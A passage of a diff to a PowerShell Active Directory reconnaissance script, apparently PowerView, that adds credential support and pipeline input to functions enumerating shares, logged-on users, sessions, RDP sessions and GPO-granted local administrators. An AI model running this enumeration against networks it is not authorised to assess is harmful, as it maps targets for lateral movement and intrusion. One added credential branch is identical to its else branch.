($Version.endsWith("2")) ) { - $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $DFSshares += Get-DFSshareV2 -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } $DFSshares | Sort-Object -Property "RemoteServerName" @@ -5093,6 +5428,7 @@ function Get-GptTmpl { [CmdletBinding()] Param ( + [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GptTmplPath, @@ -5112,7 +5448,12 @@ function Get-GptTmpl { Write-Verbose "Mounting path $GptTmplPath using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if($Credential) { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + else { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } } catch { Write-Debug "Error mounting path $GptTmplPath : $_" @@ -5130,42 +5471,38 @@ function Get-GptTmpl { $SectionsFinal = @{} try { + Write-Verbose "Parsing $GptTmplPath" - if(Test-Path $GptTmplPath) { - - Write-Verbose "Parsing $GptTmplPath" + Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { + if ($_ -match '\[') { + # this signifies that we're starting a new section + $SectionName = $_.trim('[]') -replace ' ','' + } + elseif($_ -match '=') { + $Parts = $_.split('=') + $PropertyName = $Parts[0].trim() + $PropertyValues = $Parts[1].trim() - Get-Content $GptTmplPath -ErrorAction Stop | Foreach-Object { - if ($_ -match '\[') { - # this signifies that we're starting a new section - $SectionName = $_.trim('[]') -replace ' ','' + if($PropertyValues -match ',') { + $PropertyValues = $PropertyValues.split(',') } - elseif($_ -match '=') { - $Parts = $_.split('=') - $PropertyName = $Parts[0].trim() - $PropertyValues = $Parts[1].trim() - - if($PropertyValues -match ',') { - $PropertyValues = $PropertyValues.split(',') - } - - if(!$SectionsTemp[$SectionName]) { - $SectionsTemp.Add($SectionName, @{}) - } - # add the parsed property into the relevant Section name - $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) + if(!$SectionsTemp[$SectionName]) { + $SectionsTemp.Add($SectionName, @{}) } - } - ForEach ($Section in $SectionsTemp.keys) { - # transform each nested hash table into a custom object - $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] + # add the parsed property into the relevant Section name + $SectionsTemp[$SectionName].Add( $PropertyName, $PropertyValues ) } + } - # transform the parent hash table into a custom object - New-Object PSObject -Property $SectionsFinal + ForEach ($Section in $SectionsTemp.keys) { + # transform each nested hash table into a custom object + $SectionsFinal[$Section] = New-Object PSObject -Property $SectionsTemp[$Section] } + + # transform the parent hash table into a custom object + New-Object PSObject -Property $SectionsFinal } catch { Write-Debug "Error parsing $GptTmplPath : $_" @@ -5175,7 +5512,7 @@ function Get-GptTmpl { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } @@ -5198,11 +5535,11 @@ function Get-GroupsXML { .PARAMETER UsePSDrive Switch. Mount the target groups.xml folder path as a temporary PSDrive. - #> [CmdletBinding()] Param ( + [ValidateScript({Test-Path -Path $_ })] [Parameter(Mandatory=$True, ValueFromPipeline=$True)] [String] $GroupsXMLPath, @@ -5225,7 +5562,12 @@ function Get-GroupsXML { Write-Verbose "Mounting path $GroupsXMLPath using a temp PSDrive at $RandDrive" try { - $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + if($Credential) { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } + else { + $Null = New-PSDrive -Name $RandDrive -PSProvider FileSystem -Root $FolderPath -ErrorAction Stop + } } catch { Write-Debug "Error mounting path $GroupsXMLPath : $_" @@ -5239,73 +5581,69 @@ function Get-GroupsXML { process { - # parse the Groups.xml file if it exists - if(Test-Path $GroupsXMLPath) { + [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + + # process all group properties in the XML + $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { - [xml] $GroupsXMLcontent = Get-Content $GroupsXMLPath + $Members = @() + $MemberOf = @() - # process all group properties in the XML - $GroupsXMLcontent | Select-Xml "//Group" | Select-Object -ExpandProperty node | ForEach-Object { + # extract the localgroup sid for memberof + $LocalSid = $_.Properties.GroupSid + if(!$LocalSid) { + if($_.Properties.groupName -match 'Administrators') { + $LocalSid = 'S-1-5-32-544' + } + elseif($_.Properties.groupName -match 'Remote Desktop') { + $LocalSid = 'S-1-5-32-555' + } + else { + $LocalSid = $_.Properties.groupName + } + } + $MemberOf = @($LocalSid) - $Members = @() - $MemberOf = @() + $_.Properties.members | ForEach-Object { + # process each member of the above local group + $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { - # extract the localgroup sid for memberof - $LocalSid = $_.Properties.GroupSid - if(!$LocalSid) { - if($_.Properties.groupName -match 'Administrators') { - $LocalSid = 'S-1-5-32-544' - } - elseif($_.Properties.groupName -match 'Remote Desktop') { - $LocalSid = 'S-1-5-32-555' + if($_.sid) { + $Members += $_.sid } else { - $LocalSid = $_.Properties.groupName + # just a straight local account name + $Members += $_.name } } - $MemberOf = @($LocalSid) - - $_.Properties.members | ForEach-Object { - # process each member of the above local group - $_ | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object { + } - if($_.sid) { - $Members += $_.sid - } - else { - # just a straight local account name - $Members += $_.name - } + if ($Members -or $Memberof) { + # extract out any/all filters...I hate you GPP + $Filters = $_.filters | ForEach-Object { + $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { + New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} } } - if ($Members -or $Memberof) { - # extract out any/all filters...I hate you GPP - $Filters = $_.filters | ForEach-Object { - $_ | Select-Object -ExpandProperty Filter* | ForEach-Object { - New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name} - } - } - - if($ResolveSids) { - $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} - $Members = $Members | ForEach-Object {Convert-SidToName $_} - } - - if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} - if($Members -isnot [system.array]) {$Members = @($Members)} + if($ResolveSids) { + $Memberof = $Memberof | ForEach-Object {Convert-SidToName $_} + $Members = $Members | ForEach-Object {Convert-SidToName $_} + } - $GPOProperties = @{ - 'GPODisplayName' = $GPODisplayName - 'GPOName' = $GPOName - 'GPOPath' = $GroupsXMLPath - 'Filters' = $Filters - 'MemberOf' = $Memberof - 'Members' = $Members - } + if($Memberof -isnot [system.array]) {$Memberof = @($Memberof)} + if($Members -isnot [system.array]) {$Members = @($Members)} - New-Object -TypeName PSObject -Property $GPOProperties + $GPOProperties = @{ + 'GPODisplayName' = $GPODisplayName + 'GPOName' = $GPOName + 'GPOPath' = $GroupsXMLPath + 'Filters' = $Filters + 'MemberOf' = $Memberof + 'Members' = $Members } + + New-Object -TypeName PSObject -Property $GPOProperties } } } @@ -5313,13 +5651,12 @@ function Get-GroupsXML { end { if($UsePSDrive -and $RandDrive) { Write-Verbose "Removing temp PSDrive $RandDrive" - Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive + Get-PSDrive -Name $RandDrive -ErrorAction SilentlyContinue | Remove-PSDrive -Force } } } - function Get-NetGPO { <# .SYNOPSIS @@ -5351,6 +5688,11 @@ function Get-NetGPO { The PageSize to set for the LDAP searcher object. + .PARAMETER Credential + + A [Management.Automation.PSCredential] object of alternate credentials + for connection to the target domain. + .EXAMPLE PS C:\> Get-NetGPO -Domain testlab.local @@ -5377,12 +5719,14 @@ function Get-NetGPO { [ValidateRange(1,10000)] [Int] - $PageSize = 200 + $PageSize = 200, + [Management.Automation.PSCredential] + $Credential ) begin { - $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -ADSpath $ADSpath -PageSize $PageSize + $GPOSearcher = Get-DomainSearcher -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $ADSpath -PageSize $PageSize } process { @@ -5394,9 +5738,14 @@ function Get-NetGPO { $GPOSearcher.filter="(&(objectCategory=groupPolicyContainer)(name=$GPOname))" } - $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { - # convert/process the LDAP fields for each result - Convert-LDAPProperty -Properties $_.Properties + try { + $GPOSearcher.FindAll() | Where-Object {$_} | ForEach-Object { + # convert/process the LDAP fields for each result + Convert-LDAPProperty -Properties $_.Properties + } + } + catch { + Write-Warning $_ } } } @@ -5706,12 +6055,12 @@ function Find-GPOLocation { if ($_.members) { $_.members = $_.members | Where-Object {$_} | ForEach-Object { - if($_ -match "S-1-5") { + if($_ -match '^S-1-.*') { $_ } else { # if there are any plain group names, try to resolve them to sids - Convert-NameToSid -ObjectName $_ -Domain $Domain + (Convert-NameToSid -ObjectName $_ -Domain $Domain).SID } } @@ -5755,12 +6104,12 @@ function Find-GPOLocation { if($Filters) { # filter for computer name/org unit if a filter is specified # TODO: handle other filters? - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -FullData -PageSize $PageSize | Where-Object { $_.adspath -match ($Filters.Value) } | ForEach-Object { $_.dnshostname } } else { - $OUComputers = Get-NetComputer -ADSpath $_.ADSpath -PageSize $PageSize + $OUComputers = Get-NetComputer -Domain $Domain -DomainController $DomainController -Credential $Credential -ADSpath $_.ADSpath -PageSize $PageSize } $GPOLocation = New-Object PSObject @@ -5952,7 +6301,7 @@ function Find-GPOComputerAdmin { $GPO.members | Foreach-Object { # resolvethis SID to a domain object - $Object = Get-ADObject -Domain $Domain -DomainController $DomainController $_ -PageSize $PageSize + $Object = Get-ADObject -Domain $Domain -DomainController $DomainController -Credential $Credential $_ -PageSize $PageSize $GPOComputerAdmin = New-Object PSObject $GPOComputerAdmin | Add-Member Noteproperty 'ComputerName' $ComputerName @@ -5968,7 +6317,7 @@ function Find-GPOComputerAdmin { # if we're recursing and the current result object is a group if($Recurse -and $GPOComputerAdmin.isGroup) { - Get-NetGroupMember -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { + Get-NetGroupMember -Domain $Domain -DomainController $DomainController -SID $_ -FullData -Recurse -PageSize $PageSize | Foreach-Object { $MemberDN = $_.distinguishedName @@ -6082,6 +6431,7 @@ function Get-DomainPolicy { $ParseArgs = @{ 'GptTmplPath' = $GptTmplPath 'UsePSDrive' = $UsePSDrive + 'Credential' = $Credential } # parse the GptTmpl.inf @@ -6219,7 +6569,7 @@ function Get-NetLocalGroup { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [String[]] $ComputerName = 'localhost', [ValidateScript({Test-Path -Path $_ })] @@ -6255,7 +6605,7 @@ function Get-NetLocalGroup { } else { # otherwise assume a single host name - $Servers += Get-NameField -Object $ComputerName + $Servers += $ComputerName | Get-NameField } # query the specified group using the WINNT provider, and @@ -6388,7 +6738,7 @@ function Get-NetLocalGroup { } -function Get-NetShare { +filter Get-NetShare { <# .SYNOPSIS @@ -6403,7 +6753,8 @@ function Get-NetShare { .OUTPUTS SHARE_INFO_1 structure. A representation of the SHARE_INFO_1 - result structure which includes the name and note for each share. + result structure which includes the name and note for each share, + with the ComputerName added. .EXAMPLE @@ -6416,82 +6767,87 @@ function Get-NetShare { PS C:\> Get-NetShare -ComputerName sqlserver Returns active shares on the 'sqlserver' host + + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetShare + + Returns all shares for all computers in the domain. + + .LINK + + http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # arguments for NetShareEnum - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # arguments for NetShareEnum + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # get the share information - $Result = $Netapi32::NetShareEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # get the share information + $Result = $Netapi32::NetShareEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - Write-Debug "Get-NetShare result: $Result" + Write-Debug "Get-NetShare result for $Computer : $Result" - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SHARE_INFO_1::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SHARE_INFO_1::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SHARE_INFO_1 - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SHARE_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Shares = $Info | Select-Object * + $Shares | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Shares } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetLoggedon { +filter Get-NetLoggedon { <# .SYNOPSIS @@ -6505,7 +6861,8 @@ function Get-NetLoggedon { .OUTPUTS WKSTA_USER_INFO_1 structure. A representation of the WKSTA_USER_INFO_1 - result structure which includes the username and domain of logged on users. + result structure which includes the username and domain of logged on users, + with the ComputerName added. .EXAMPLE @@ -6519,6 +6876,12 @@ function Get-NetLoggedon { Returns users actively logged onto the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetComputer | Get-NetLoggedon + + Returns all logged on userse for all computers in the domain. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6528,78 +6891,71 @@ function Get-NetLoggedon { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - # Declare the reference variables - $QueryLevel = 1 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # get logged on user information - $Result = $Netapi32::NetWkstaUserEnum($ComputerName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # Declare the reference variables + $QueryLevel = 1 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - Write-Debug "Get-NetLoggedon result: $Result" + # get logged on user information + $Result = $Netapi32::NetWkstaUserEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WKSTA_USER_INFO_1::GetSize() + Write-Debug "Get-NetLoggedon result for $Computer : $Result" - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WKSTA_USER_INFO_1::GetSize() - } + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WKSTA_USER_INFO_1 - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $LoggedOn = $Info | Select-Object * + $LoggedOn | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $LoggedOn } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetSession { +filter Get-NetSession { <# .SYNOPSIS @@ -6619,7 +6975,7 @@ function Get-NetSession { SESSION_INFO_10 structure. A representation of the SESSION_INFO_10 result structure which includes the host and username associated - with active sessions. + with active sessions, with the ComputerName added. .EXAMPLE @@ -6633,6 +6989,12 @@ function Get-NetSession { Returns active sessions on the 'sqlserver' host. + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetSession + + Returns active sessions on all domain controllers. + .LINK http://www.powershellmagazine.com/2014/09/25/easily-defining-enums-structs-and-win32-functions-in-memory/ @@ -6642,80 +7004,73 @@ function Get-NetSession { param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost', [String] $UserName = '' ) - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName - - # arguments for NetSessionEnum - $QueryLevel = 10 - $PtrInfo = [IntPtr]::Zero - $EntriesRead = 0 - $TotalRead = 0 - $ResumeHandle = 0 + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # get session information - $Result = $Netapi32::NetSessionEnum($ComputerName, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) + # arguments for NetSessionEnum + $QueryLevel = 10 + $PtrInfo = [IntPtr]::Zero + $EntriesRead = 0 + $TotalRead = 0 + $ResumeHandle = 0 - # Locate the offset of the initial intPtr - $Offset = $PtrInfo.ToInt64() + # get session information + $Result = $Netapi32::NetSessionEnum($Computer, '', $UserName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle) - Write-Debug "Get-NetSession result: $Result" + # Locate the offset of the initial intPtr + $Offset = $PtrInfo.ToInt64() - # 0 = success - if (($Result -eq 0) -and ($Offset -gt 0)) { + Write-Debug "Get-NetSession result for $Computer : $Result" - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $SESSION_INFO_10::GetSize() + # 0 = success + if (($Result -eq 0) -and ($Offset -gt 0)) { - # parse all the result structures - for ($i = 0; ($i -lt $EntriesRead); $i++) { - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $SESSION_INFO_10 + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $SESSION_INFO_10::GetSize() - # return all the sections of the structure - $Info | Select-Object * - $Offset = $NewIntPtr.ToInt64() - $Offset += $Increment + # parse all the result structures + for ($i = 0; ($i -lt $EntriesRead); $i++) { + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $SESSION_INFO_10 - } - # free up the result buffer - $Null = $Netapi32::NetApiBufferFree($PtrInfo) + # return all the sections of the structure + $Sessions = $Info | Select-Object * + $Sessions | Add-Member Noteproperty 'ComputerName' $Computer + $Offset = $NewIntPtr.ToInt64() + $Offset += $Increment + $Sessions } - else - { - switch ($Result) { - (5) {Write-Debug 'The user does not have access to the requested information.'} - (124) {Write-Debug 'The value specified for the level parameter is not valid.'} - (87) {Write-Debug 'The specified parameter is not valid.'} - (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} - (8) {Write-Debug 'Insufficient memory is available.'} - (2312) {Write-Debug 'A session does not exist with the computer name.'} - (2351) {Write-Debug 'The computer name is not valid.'} - (2221) {Write-Debug 'Username not found.'} - (53) {Write-Debug 'Hostname could not be found'} - } + # free up the result buffer + $Null = $Netapi32::NetApiBufferFree($PtrInfo) + } + else + { + switch ($Result) { + (5) {Write-Debug 'The user does not have access to the requested information.'} + (124) {Write-Debug 'The value specified for the level parameter is not valid.'} + (87) {Write-Debug 'The specified parameter is not valid.'} + (234) {Write-Debug 'More entries are available. Specify a large enough buffer to receive all entries.'} + (8) {Write-Debug 'Insufficient memory is available.'} + (2312) {Write-Debug 'A session does not exist with the computer name.'} + (2351) {Write-Debug 'The computer name is not valid.'} + (2221) {Write-Debug 'Username not found.'} + (53) {Write-Debug 'Hostname could not be found'} } } } -function Get-NetRDPSession { +filter Get-NetRDPSession { <# .SYNOPSIS @@ -6741,129 +7096,127 @@ function Get-NetRDPSession { PS C:\> Get-NetRDPSession -ComputerName "sqlserver" - Returns active RDP/terminal sessions on the 'sqlserver' host. + Returns active RDP/terminal sessions on the 'sqlserver' host. + + .EXAMPLE + + PS C:\> Get-NetDomainController | Get-NetRDPSession + + Returns active RDP/terminal sessions on all domain controllers. #> [CmdletBinding()] param( [Parameter(ValueFromPipeline=$True)] [Alias('HostName')] - [String] + [Object[]] + [ValidateNotNullOrEmpty()] $ComputerName = 'localhost' ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - } - - process { - # process multiple host object types from the pipeline - $ComputerName = Get-NameField -Object $ComputerName + # extract the computer name from whatever object was passed on the pipeline + $Computer = $ComputerName | Get-NameField - # open up a handle to the Remote Desktop Session host - $Handle = $Wtsapi32::WTSOpenServerEx($ComputerName) + # open up a handle to the Remote Desktop Session host + $Handle = $Wtsapi32::WTSOpenServerEx($Computer) - # if we get a non-zero handle back, everything was successful - if ($Handle -ne 0) { + # if we get a non-zero handle back, everything was successful + if ($Handle -ne 0) { - Write-Debug "WTSOpenServerEx handle: $Handle" + Write-Debug "WTSOpenServerEx handle: $Handle" - # arguments for WTSEnumerateSessionsEx - $ppSessionInfo = [IntPtr]::Zero - $pCount = 0 - - # get information on all current sessions - $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) + # arguments for WTSEnumerateSessionsEx + $ppSessionInfo = [IntPtr]::Zero + $pCount = 0 + + # get information on all current sessions + $Result = $Wtsapi32::WTSEnumerateSessionsEx($Handle, [ref]1, 0, [ref]$ppSessionInfo, [ref]$pCount) - # Locate the offset of the initial intPtr - $Offset = $ppSessionInfo.ToInt64() + # Locate the offset of the initial intPtr + $Offset = $ppSessionInfo.ToInt64() - Write-Debug "WTSEnumerateSessionsEx result: $Result" - Write-Debug "pCount: $pCount" + Write-Debug "WTSEnumerateSessionsEx result: $Result" + Write-Debug "pCount: $pCount" - if (($Result -ne 0) -and ($Offset -gt 0)) { + if (($Result -ne 0) -and ($Offset -gt 0)) { - # Work out how mutch to increment the pointer by finding out the size of the structure - $Increment = $WTS_SESSION_INFO_1::GetSize() + # Work out how mutch to increment the pointer by finding out the size of the structure + $Increment = $WTS_SESSION_INFO_1::GetSize() - # parse all the result structures - for ($i = 0; ($i -lt $pCount); $i++) { - - # create a new int ptr at the given offset and cast - # the pointer as our result structure - $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset - $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 + # parse all the result structures + for ($i = 0; ($i -lt $pCount); $i++) { + + # create a new int ptr at the given offset and cast + # the pointer as our result structure + $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset + $Info = $NewIntPtr -as $WTS_SESSION_INFO_1 - $RDPSession = New-Object PSObject + $RDPSession = New-Object PSObject - if ($Info.pHostName) { - $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName - } - else { - # if no hostname returned, use the specified hostname - $RDPSession | Add-Member Noteproperty 'ComputerName' $ComputerName - } + if ($Info.pHostName) { + $RDPSession | Add-Member Noteproperty 'ComputerName' $Info.pHostName + } + else { + # if no hostname returned, use the specified hostname + $RDPSession | Add-Member Noteproperty 'ComputerName' $Computer + } - $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName + $RDPSession | Add-Member Noteproperty 'SessionName' $Info.pSessionName - if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { - # if a domain isn't returned just use the username - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" - } - else { - $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" - } + if ($(-not $Info.pDomainName) -or ($Info.pDomainName -eq '')) { + # if a domain isn't returned just use the username + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pUserName)" + } + else { + $RDPSession | Add-Member Noteproperty 'UserName' "$($Info.pDomainName)\$($Info.pUserName)" + } - $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID - $RDPSession | Add-Member Noteproperty 'State' $Info.State + $RDPSession | Add-Member Noteproperty 'ID' $Info.SessionID + $RDPSession | Add-Member Noteproperty 'State' $Info.State - $ppBuffer = [IntPtr]::Zero - $pBytesReturned = 0 + $ppBuffer = [IntPtr]::Zero + $pBytesReturned = 0 - # query for the source client IP with WTSQuerySessionInformation - # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx - $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) + # query for the source client IP with WTSQuerySessionInformation + # https://msdn.microsoft.com/en-us/library/aa383861(v=vs.85).aspx + $Result2 = $Wtsapi32::WTSQuerySessionInformation($Handle, $Info.SessionID, 14, [ref]$ppBuffer, [ref]$pBytesReturned) - $Offset2 = $ppBuffer.ToInt64() - $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 - $Info2 = $NewIntPtr2 -as $WTS_CLIENT_ADDRESS + $Offset2 = $ppBuffer.ToInt64() + $NewIntPtr2 = New-Object System.Intptr -ArgumentList $Offset2 + $Info2 = $NewIntPtr2 -as 